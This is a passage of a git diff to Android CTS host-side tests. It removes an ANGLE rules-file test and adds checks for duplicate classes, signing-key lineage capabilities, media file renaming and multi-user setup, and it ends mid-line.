b/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java deleted file mode 100644 index 4f0859e7bad..00000000000 --- a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java +++ /dev/null @@ -1,132 +0,0 @@ -/* - * Copyright (C) 2018 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package android.angle.cts; - -import static android.angle.cts.CtsAngleCommon.*; - -import com.google.common.io.ByteStreams; -import com.google.common.io.Files; - -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import com.android.tradefed.util.FileUtil; - -import java.io.File; - -import org.junit.After; -import org.junit.Assert; -import org.junit.Assume; -import org.junit.Before; -import org.junit.runner.RunWith; -import org.junit.Test; - -/** - * Tests ANGLE Rules File Opt-In/Out functionality. - */ -@RunWith(DeviceJUnit4ClassRunner.class) -public class CtsAngleRulesFileTest extends BaseHostJUnit4Test { - - private final String TAG = this.getClass().getSimpleName(); - - private File mRulesFile; - private String mAllowList; - - // Rules Files - private static final String RULES_FILE_EMPTY = "emptyRules.json"; - private static final String RULES_FILE_ENABLE_ANGLE = "enableAngleRules.json"; - - private void pushRulesFile(String hostFilename) throws Exception { - byte[] rulesFileBytes = - ByteStreams.toByteArray(getClass().getResourceAsStream("/" + hostFilename)); - - Assert.assertTrue("Loaded empty rules file", rulesFileBytes.length > 0); // validity check - mRulesFile = File.createTempFile("rulesFile", "tempRules.json"); - Files.write(rulesFileBytes, mRulesFile); - - Assert.assertTrue(getDevice().pushFile(mRulesFile, DEVICE_TEMP_RULES_FILE_PATH)); - - setProperty(getDevice(), PROPERTY_TEMP_RULES_FILE, DEVICE_TEMP_RULES_FILE_PATH); - } - - private void setAndValidateAngleDevOptionAllowlist(String allowList) throws Exception { - // SETTINGS_GLOBAL_ALLOWLIST - setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST, allowList); - - String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST); - Assert.assertEquals( - "Developer option '" + SETTINGS_GLOBAL_ALLOWLIST + - "' was not set correctly: '" + devOption + "'", - allowList, devOption); - } - - @Before - public void setUp() throws Exception { - clearSettings(getDevice()); - - mAllowList = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_ALLOWLIST); - - final String allowlist = ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG; - setAndValidateAngleDevOptionAllowlist(allowlist); - } - - @After - public void tearDown() throws Exception { - clearSettings(getDevice()); - - setAndValidateAngleDevOptionAllowlist(mAllowList); - - FileUtil.deleteFile(mRulesFile); - } - - /** - * Test ANGLE is not loaded when an empty rules file is used. - */ - @Test - public void testEmptyRulesFile() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); - Assume.assumeFalse(isNativeDriverAngle(getDevice())); - - pushRulesFile(RULES_FILE_EMPTY); - - installPackage(ANGLE_DRIVER_TEST_APP); - - runDeviceTests(ANGLE_DRIVER_TEST_PKG, - ANGLE_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS, - ANGLE_DRIVER_TEST_NATIVE_METHOD); - } - - /** - * Test ANGLE is loaded for only the PKG the rules file specifies. - */ - @Test - public void testEnableAngleRulesFile() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); - Assume.assumeFalse(isNativeDriverAngle(getDevice())); - - pushRulesFile(RULES_FILE_ENABLE_ANGLE); - - installPackage(ANGLE_DRIVER_TEST_APP); - installPackage(ANGLE_DRIVER_TEST_SEC_APP); - - runDeviceTests(ANGLE_DRIVER_TEST_PKG, - ANGLE_DRIVER_TEST_PKG + "." + ANGLE_DRIVER_TEST_CLASS, - ANGLE_DRIVER_TEST_ANGLE_METHOD); - - runDeviceTests(ANGLE_DRIVER_TEST_SEC_PKG, - ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS, - ANGLE_DRIVER_TEST_NATIVE_METHOD); - } -} diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java index f3ba06f035e..f2d39e3377f 100644 --- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java +++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java @@ -24,14 +24,14 @@ import static com.google.common.truth.Truth.assertThat; import static org.junit.Assume.assumeTrue; import android.compat.testing.Classpaths; +import android.compat.testing.SharedLibraryInfo; import com.android.compatibility.common.util.ApiLevelUtil; -import com.android.tradefed.log.LogUtil; +import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import com.google.common.collect.ArrayListMultimap; import com.google.common.collect.HashMultimap; import com.google.common.collect.ImmutableCollection; import com.google.common.collect.ImmutableList; @@ -44,7 +44,6 @@ import org.junit.Test; import org.junit.runner.RunWith; import java.util.Collection; -import java.util.HashSet; import java.util.Set; /** @@ -195,6 +194,84 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { ); /** + * TODO(b/199529199): Address these. + * List of duplicate classes between bootclasspath and shared libraries. + * + * <p> DO NOT ADD CLASSES TO THIS LIST! + */ + private static final Set<String> BCP_AND_SHARED_LIB_BURNDOWN_LIST = + ImmutableSet.of( + "Landroid/hidl/base/V1_0/DebugInfo;", + "Landroid/hidl/base/V1_0/IBase;", + "Landroid/hidl/manager/V1_0/IServiceManager;", + "Landroid/hidl/manager/V1_0/IServiceNotification;", + "Landroidx/annotation/Keep;", + "Lcom/google/android/embms/nano/EmbmsProtos;", + "Lcom/google/protobuf/nano/android/ParcelableExtendableMessageNano;", + "Lcom/google/protobuf/nano/android/ParcelableMessageNano;", + "Lcom/google/protobuf/nano/android/ParcelableMessageNanoCreator;", + "Lcom/google/protobuf/nano/CodedInputByteBufferNano;", + "Lcom/google/protobuf/nano/CodedOutputByteBufferNano;", + "Lcom/google/protobuf/nano/ExtendableMessageNano;", + "Lcom/google/protobuf/nano/Extension;", + "Lcom/google/protobuf/nano/FieldArray;", + "Lcom/google/protobuf/nano/FieldData;", + "Lcom/google/protobuf/nano/InternalNano;", + "Lcom/google/protobuf/nano/InvalidProtocolBufferNanoException;", + "Lcom/google/protobuf/nano/MapFactories;", + "Lcom/google/protobuf/nano/MessageNano;", + "Lcom/google/protobuf/nano/MessageNanoPrinter;", + "Lcom/google/protobuf/nano/UnknownFieldData;", + "Lcom/google/protobuf/nano/WireFormatNano;", + "Lcom/qualcomm/qcrilhook/BaseQmiTypes;", + "Lcom/qualcomm/qcrilhook/CSignalStrength;", + "Lcom/qualcomm/qcrilhook/EmbmsOemHook;", + "Lcom/qualcomm/qcrilhook/EmbmsProtoUtils;", + "Lcom/qualcomm/qcrilhook/IOemHookCallback;", + "Lcom/qualcomm/qcrilhook/IQcRilHook;", + "Lcom/qualcomm/qcrilhook/IQcRilHookExt;", + "Lcom/qualcomm/qcrilhook/OemHookCallback;", + "Lcom/qualcomm/qcrilhook/PresenceMsgBuilder;", + "Lcom/qualcomm/qcrilhook/PresenceMsgParser;", + "Lcom/qualcomm/qcrilhook/PresenceOemHook;", + "Lcom/qualcomm/qcrilhook/PrimitiveParser;", + "Lcom/qualcomm/qcrilhook/QcRilHook;", + "Lcom/qualcomm/qcrilhook/QcRilHookCallback;", + "Lcom/qualcomm/qcrilhook/QcRilHookCallbackExt;", + "Lcom/qualcomm/qcrilhook/QcRilHookExt;", + "Lcom/qualcomm/qcrilhook/QmiOemHook;", + "Lcom/qualcomm/qcrilhook/QmiOemHookConstants;", + "Lcom/qualcomm/qcrilhook/QmiPrimitiveTypes;", + "Lcom/qualcomm/qcrilhook/TunerOemHook;", + "Lcom/qualcomm/qcrilmsgtunnel/IQcrilMsgTunnel;", + "Lcom/qualcomm/utils/CommandException;", + "Lcom/qualcomm/utils/RILConstants;", + "Lorg/chromium/net/ApiVersion;", + "Lorg/chromium/net/BidirectionalStream;", + "Lorg/chromium/net/CallbackException;", + "Lorg/chromium/net/CronetEngine;", + "Lorg/chromium/net/CronetException;", + "Lorg/chromium/net/CronetProvider;", + "Lorg/chromium/net/EffectiveConnectionType;", + "Lorg/chromium/net/ExperimentalBidirectionalStream;", + "Lorg/chromium/net/ExperimentalCronetEngine;", + "Lorg/chromium/net/ExperimentalUrlRequest;", + "Lorg/chromium/net/ICronetEngineBuilder;", + "Lorg/chromium/net/InlineExecutionProhibitedException;", + "Lorg/chromium/net/NetworkException;", + "Lorg/chromium/net/NetworkQualityRttListener;", + "Lorg/chromium/net/NetworkQualityThroughputListener;", + "Lorg/chromium/net/QuicException;", + "Lorg/chromium/net/RequestFinishedInfo;", + "Lorg/chromium/net/RttThroughputValues;", + "Lorg/chromium/net/ThreadStatsUid;", + "Lorg/chromium/net/UploadDataProvider;", + "Lorg/chromium/net/UploadDataProviders;", + "Lorg/chromium/net/UploadDataSink;", + "Lorg/chromium/net/UrlRequest;", + "Lorg/chromium/net/UrlResponseInfo;" + ); + /** * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH. */ @Test @@ -284,6 +361,31 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { } /** + * Ensure that there are no duplicate classes among jars listed in BOOTCLASSPATH and + * shared library jars. + */ + @Test + public void testBootClasspathAndSharedLibs_nonDuplicateClasses() throws Exception { + assumeTrue(ApiLevelUtil.isAfter(getDevice(), 29)); + final ImmutableList.Builder<String> jars = ImmutableList.builder(); + final ImmutableList<SharedLibraryInfo> sharedLibs = + Classpaths.getSharedLibraryInfos(getDevice(), getBuild()); + jars.addAll(Classpaths.getJarsOnClasspath(getDevice(), BOOTCLASSPATH)); + jars.addAll(sharedLibs.stream() + .map(sharedLibraryInfo -> sharedLibraryInfo.paths) + .flatMap(ImmutableCollection::stream) + .filter(this::doesFileExist) + .collect(ImmutableList.toImmutableList()) + ); + final Multimap<String, String> duplicates = getDuplicateClasses(jars.build()); + final Multimap<String, String> filtered = Multimaps.filterKeys(duplicates, + duplicate -> !BCP_AND_SHARED_LIB_BURNDOWN_LIST.contains(duplicate) + && !isSameLibrary(duplicates.get(duplicate), sharedLibs) + ); + assertThat(filtered).isEmpty(); + } + + /** * Gets the duplicate classes within a list of jar files. * * @param jars a list of jar files. @@ -306,11 +408,40 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { for (String clazz : allClasses.keySet()) { Collection<String> jarsWithClazz = allClasses.get(clazz); if (jarsWithClazz.size() > 1) { - CLog.i("Class %s is duplicated in %s", clazz, jarsWithClazz); + CLog.w("Class %s is duplicated in %s;", clazz, jarsWithClazz); duplicates.putAll(clazz, jarsWithClazz); } } return duplicates; } + + private boolean doesFileExist(String path) { + assertThat(path).isNotNull(); + try { + return getDevice().doesFileExist(path); + } catch(DeviceNotAvailableException e) { + throw new RuntimeException("Could not check whether " + path + " exists on device", e); + } + } + + /** + * Check whether a list of jars are all different versions of the same library. + */ + private boolean isSameLibrary(Collection<String> jars, + ImmutableList<SharedLibraryInfo> sharedLibs) { + return jars.stream() + .map(jar -> { + for (SharedLibraryInfo sharedLib: sharedLibs) { + for (String path: sharedLib.paths) { + if (path.equals(jar)) { + return sharedLib.name; + } + } + } + throw new RuntimeException(jar + " is not in shared libs."); + }) + .distinct() + .count() == 1; + } } diff --git a/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap Binary files differnew file mode 100644 index 00000000000..f03f6db08c9 --- /dev/null +++ b/hostsidetests/appsecurity/certs/pkgsigverify/ec-p256-por_1_2-no-perm-cap diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java index 7d8333d0c7f..91ec15967f6 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java @@ -406,7 +406,7 @@ public class EphemeralTest extends BaseAppSecurityTest { return; } // Make sure the test package does not have INSTANT_APP_FOREGROUND_SERVICE - getDevice().executeShellCommand("cmd package revoke " + EPHEMERAL_1_PKG + getDevice().executeShellCommand("cmd package revoke --user cur " + EPHEMERAL_1_PKG + " android.permission.INSTANT_APP_FOREGROUND_SERVICE"); Utils.runDeviceTestsAsCurrentUser(getDevice(), EPHEMERAL_1_PKG, TEST_CLASS, "testStartForegroundService"); diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java index 57314575a94..df788cd0642 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/NormalizeScreenStateRule.java @@ -37,6 +37,8 @@ import java.util.Map; * running and restoring to initial values after test method finished. */ public class NormalizeScreenStateRule implements TestRule { + private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive"; + private final ITestInformationReceiver mTestInformationReceiver; public NormalizeScreenStateRule(ITestInformationReceiver testInformationReceiver) { @@ -90,6 +92,10 @@ public class NormalizeScreenStateRule implements TestRule { return new Statement() { @Override public void evaluate() throws Throwable { + if (getDevice().hasFeature(FEATURE_AUTOMOTIVE)) { + return; + } + final Map<String, String> initialValues = new HashMap<>(); Arrays.stream(DOZE_SETTINGS).forEach( k -> initialValues.put(k, getSecureSetting(k))); diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java index 4374efe2725..c110f7b610d 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java @@ -39,6 +39,7 @@ import java.util.Locale; public class PkgInstallSignatureVerificationTest extends DeviceTestCase implements IBuildReceiver { private static final String TEST_PKG = "android.appsecurity.cts.tinyapp"; + private static final String TEST_PKG2 = "android.appsecurity.cts.tinyapp2"; private static final String COMPANION_TEST_PKG = "android.appsecurity.cts.tinyapp_companion"; private static final String COMPANION2_TEST_PKG = "android.appsecurity.cts.tinyapp_companion2"; private static final String DEVICE_TESTS_APK = "CtsV3SigningSchemeRotationTest.apk"; @@ -958,6 +959,35 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen assertInstallSucceeds("v3-rsa-pkcs1-sha256-2048-1_P_and_2_Qplus.apk"); } + public void testSharedKeyInSeparateLineageRetainsDeclaredCapabilities() throws Exception { + // This test verifies when a key is used in the signing lineage of multiple apps each + // instance of the key retains its declared capabilities. + + // This app has granted the PERMISSION capability to the previous signer in the lineage + // but has revoked the SHARED_USER_ID capability. + assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2.apk"); + // This app has granted the SHARED_USER_ID capability to the previous signer in the lineage + // but has revoked the PERMISSION capability. + assertInstallFromBuildSucceeds("v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid.apk"); + + // Reboot the device to ensure that the capabilities written to packages.xml are properly + // assigned to the packages installed above; it's possible immediately after a package + // install the capabilities are as declared, but then during the reboot shared signing + // keys also share the initial declared capabilities. + getDevice().reboot(); + + // This app is signed with the original shared signing key in the lineage and is part of the + // sharedUserId; since the other app in this sharedUserId has granted the required + // capability in the lineage the install should succeed. + assertInstallFromBuildSucceeds("v3-ec-p256-1-sharedUid-companion2.apk"); + // This app is signed with the original shared signing key in the lineage and requests the + // signature permission declared by the test app above. Since that app granted the + // PERMISSION capability to the previous signer in the lineage this app should have the + // permission granted. + assertInstallFromBuildSucceeds("v3-ec-p256-1-companion-usesperm.apk"); + Utils.runDeviceTests(getDevice(), DEVICE_TESTS_PKG, DEVICE_TESTS_CLASS, "testHasPerm"); + } + public void testInstallTargetSdk30WithV1Signers() throws Exception { // An app targeting SDK version >= 30 must have at least a V2 signature; this test verifies // an app targeting SDK version 30 with only a V1 signature fails to install. @@ -1593,7 +1623,9 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen } private String uninstallPackage() throws DeviceNotAvailableException { - return getDevice().uninstallPackage(TEST_PKG); + String result1 = getDevice().uninstallPackage(TEST_PKG); + String result2 = getDevice().uninstallPackage(TEST_PKG2); + return result1 != null ? result1 : result2; } private String uninstallCompanionPackages() throws DeviceNotAvailableException { diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java index 36ad93290f4..418f1c4be4e 100644 --- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java +++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java @@ -19,6 +19,7 @@ package com.android.cts.mediastorageapp; import static com.android.compatibility.common.util.SystemUtil.runShellCommand; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; @@ -447,6 +448,7 @@ public class MediaStorageTest { assertAccessFileAPISupport(file); assertReadWriteFileAPISupport(file); assertRenameFileAPISupport(file); + assertRenameAndReplaceFileAPISupport(file, create); assertDeleteFileAPISupport(file); } @@ -471,15 +473,52 @@ public class MediaStorageTest { public void assertRenameFileAPISupport(File oldFile) throws Exception { final String oldName = oldFile.getAbsolutePath(); final String extension = oldName.substring(oldName.lastIndexOf('.')).trim(); - // TODO(b/178816495): Changing the extension changes the media-type and hence the media-URI - // corresponding to the new file is not accessible to the caller. Rename to the same - // extension so that the test app does not lose access and is able to delete the file. - final String newName = "cts" + System.nanoTime() + extension; - final File newFile = Environment.buildPath(Environment.getExternalStorageDirectory(), - Environment.DIRECTORY_DOWNLOADS, newName); - assertThat(oldFile.renameTo(newFile)).isTrue(); + // Rename to same extension so test app does not lose access to file. + final String newRelativeName = "cts" + System.nanoTime() + extension; + final File newFile = Environment.buildPath( + Environment.getExternalStorageDirectory(), + Environment.DIRECTORY_DOWNLOADS, + newRelativeName); + final String newName = newFile.getAbsolutePath(); + assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName) + .that(oldFile.renameTo(newFile)) + .isTrue(); + // Rename back to oldFile for other ops like delete + assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName) + .that(newFile.renameTo(oldFile)) + .isTrue(); + } + + public void assertRenameAndReplaceFileAPISupport(File oldFile, Callable<Uri> create) + throws Exception { + final String oldName = oldFile.getAbsolutePath(); + + // Create new file to which we do not have any access. + final Uri newUri = create.call(); + assertWithMessage("Check newFile created").that(newUri).isNotNull(); + File newFile = new File(queryForSingleColumn(newUri, MediaColumns.DATA)); + final String newName = newFile.getAbsolutePath(); + clearMediaOwner(newUri, mUserId); + + assertWithMessage( + "Rename should fail without newFile grant from oldName [%s] to newName [%s]", + oldName, newName) + .that(oldFile.renameTo(newFile)) + .isFalse(); + + // Grant access to newFile and rename should succeed. + doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri))); + assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName) + .that(oldFile.renameTo(newFile)) + .isTrue(); + + // We need to request grant on newUri again, since the rename above caused the URI grant + // to be revoked. + doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri))); // Rename back to oldFile for other ops like delete - assertThat(newFile.renameTo(oldFile)).isTrue(); + assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName) + .that(newFile.renameTo(oldFile)) + .isTrue(); } private void assertDeleteFileAPISupport(File file) throws Exception { diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk index 53c9d14a0c6..f34010ccaae 100644 --- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk +++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk @@ -113,6 +113,36 @@ LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256 LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap include $(BUILD_CTS_SUPPORT_PACKAGE) +# This is the test package signed using the V3 signature scheme with +# a rotated key and part of a shareduid. The capabilities of this lineage +# prevent the previous key in the lineage from using a signature permission. +# This package is intended to verify shared signing keys in separate app +# lineages retain their own declared capabilities. +include $(LOCAL_PATH)/base.mk +LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-perm-cap-sharedUid +LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 +LOCAL_LICENSE_CONDITIONS := notice +LOCAL_MANIFEST_FILE := AndroidManifest-shareduid.xml +LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2 +LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256 +LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-perm-cap +include $(BUILD_CTS_SUPPORT_PACKAGE) + +# This is the test package with a new name intended to be installed +# alongside the original test package when verifying platform behavior when +# two apps share the same previous signer in their lineage with different +# capabilities granted; the lineage for this package prevents an app signed +# with the previous signing key from joining a sharedUserId. +include $(LOCAL_PATH)/base.mk +LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2-no-shUid-cap-declperm2 +LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 +LOCAL_LICENSE_CONDITIONS := notice +LOCAL_MANIFEST_FILE := AndroidManifest-declperm2.xml +LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_2 +LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256 +LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por_1_2-no-shUid-cap +include $(BUILD_CTS_SUPPORT_PACKAGE) + # This is the first companion package signed using the V3 signature scheme # with a rotated key and part of a sharedUid. The capabilities of this lineage # grant access to the previous key in the lineage to join the sharedUid. @@ -205,6 +235,19 @@ LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256 LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_4-default-caps include $(BUILD_CTS_SUPPORT_PACKAGE) +# This is a version of the companion package that requests the signature permission +# declared by the test package. This package is signed with the original signing +# key and is intended to verify that a common signing key shared between two +# lineages retains its capability from the package declaring the signature permission. +include $(LOCAL_PATH)/base.mk +LOCAL_PACKAGE_NAME := v3-ec-p256-1-companion-usesperm +LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 +LOCAL_LICENSE_CONDITIONS := notice +LOCAL_MANIFEST_FILE := AndroidManifest-companion-usesperm.xml +LOCAL_CERTIFICATE := $(cert_dir)/ec-p256 +include $(BUILD_CTS_SUPPORT_PACKAGE) + + # This is a version of the test package that declares a signature permission # with the knownSigner protection flag. This app is signed with the rsa-2048 # signing key with the trusted certificates being ec-p256 and ec-p256_3. diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml new file mode 100644 index 00000000000..02b08974dfd --- /dev/null +++ b/hostsidetests/appsecurity/test-apps/tinyapp/AndroidManifest-declperm2.xml @@ -0,0 +1,36 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- Copyright (C) 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +--> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.appsecurity.cts.tinyapp2" + android:versionCode="10" + android:versionName="1.0" + android:targetSandboxVersion="2"> + + <permission android:name="android.appsecurity.cts.tinyapp.perm" + android:protectionLevel="signature" /> + + <application android:label="@string/app_name"> + <activity android:name=".MainActivity" + android:label="@string/app_name" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN"/> + <category android:name="android.intent.category.LAUNCHER"/> + </intent-filter> + </activity> + </application> +</manifest> diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java index fc355afc020..69287180e53 100644 --- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java +++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java @@ -98,6 +98,10 @@ abstract class BaseBlobStoreHostTest extends BaseHostJUnit4Test { return device.isMultiUserSupported(); } + protected boolean isMultiUserSupported() throws Exception { + return isMultiUserSupported(getDevice()); + } + protected Map<String, String> createArgsFromLastTestRun() { final Map<String, String> args = new HashMap<>(); for (String key : new String[] { diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java index ec13654ffb5..9a78386495d 100644 --- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java +++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java @@ -40,9 +40,9 @@ public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest { @BeforeClassWithInfo public static void setUpClass(TestInformation testInfo) throws Exception { - assumeTrue("Multi-user is not supported on this device", - isMultiUserSupported(testInfo.getDevice())); - + if(!isMultiUserSupported(testInfo.getDevice())) { + return; + } mPrimaryUserId = testInfo.getDevice().getPrimaryUserId(); mSecondaryUserId = testInfo.getDevice().createUser("Test_User"); assertThat(testInfo.getDevice().startUser(mSecondaryUserId)).isTrue(); @@ -50,6 +50,8 @@ public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest { @Before public void setUp() throws Exception { + assumeTrue("Multi-user is not supported on this device", isMultiUserSupported()); + for (String apk : new String[] {TARGET_APK, TARGET_APK_DEV}) { installPackageAsUser(apk, true /* grantPermissions */, mPrimaryUserId, "-t"); installPackageAsUser(apk, true /* grantPermissions */, mSecondaryUserId, "-t"); diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java index 6fa0bcb99ee..4cf186dc5ab 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java @@ -16,13 +16,14 @@ package com.android.cts.deviceandprofileowner; +import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity; + import android.content.Context; import android.content.pm.PackageManager; import android.content.res.Resources; import android.media.AudioManager; import android.media.MediaPlayer; import android.net.Uri; -import android.provider.Settings; import android.os.SystemClock; import android.os.UserManager; import android.util.Log; @@ -51,7 +52,8 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest { mPackageManager = mContext.getPackageManager(); mUseFixedVolume = mContext.getResources().getBoolean( Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android")); - mUseFullVolume = isFullVolumeDevice(); + mUseFullVolume = runWithShellPermissionIdentity(() -> mAudioManager.isFullVolumeDevice(), + android.Manifest.permission.QUERY_AUDIO_STATE); } // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume. @@ -190,17 +192,4 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest { Thread.sleep(200); } } - - private boolean isFullVolumeDevice() { - String commandOutput = runShellCommand("dumpsys audio"); - - for (String line : commandOutput.split("\\r?\\n")) { - if (Pattern.matches("\\s*mHdmiCecSink=true", line) - || (Pattern.matches("\\s*mHdmiPlayBackClient=", line) - && !Pattern.matches("=null$", line))) { - return true; - } - } - return false; - } } diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java index 2ed2c1a44c2..a45fa0a4b9f 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java @@ -126,7 +126,8 @@ public class EnrollmentSpecificIdTest extends BaseDeviceAdminTest { if (hardwareIdentifier == 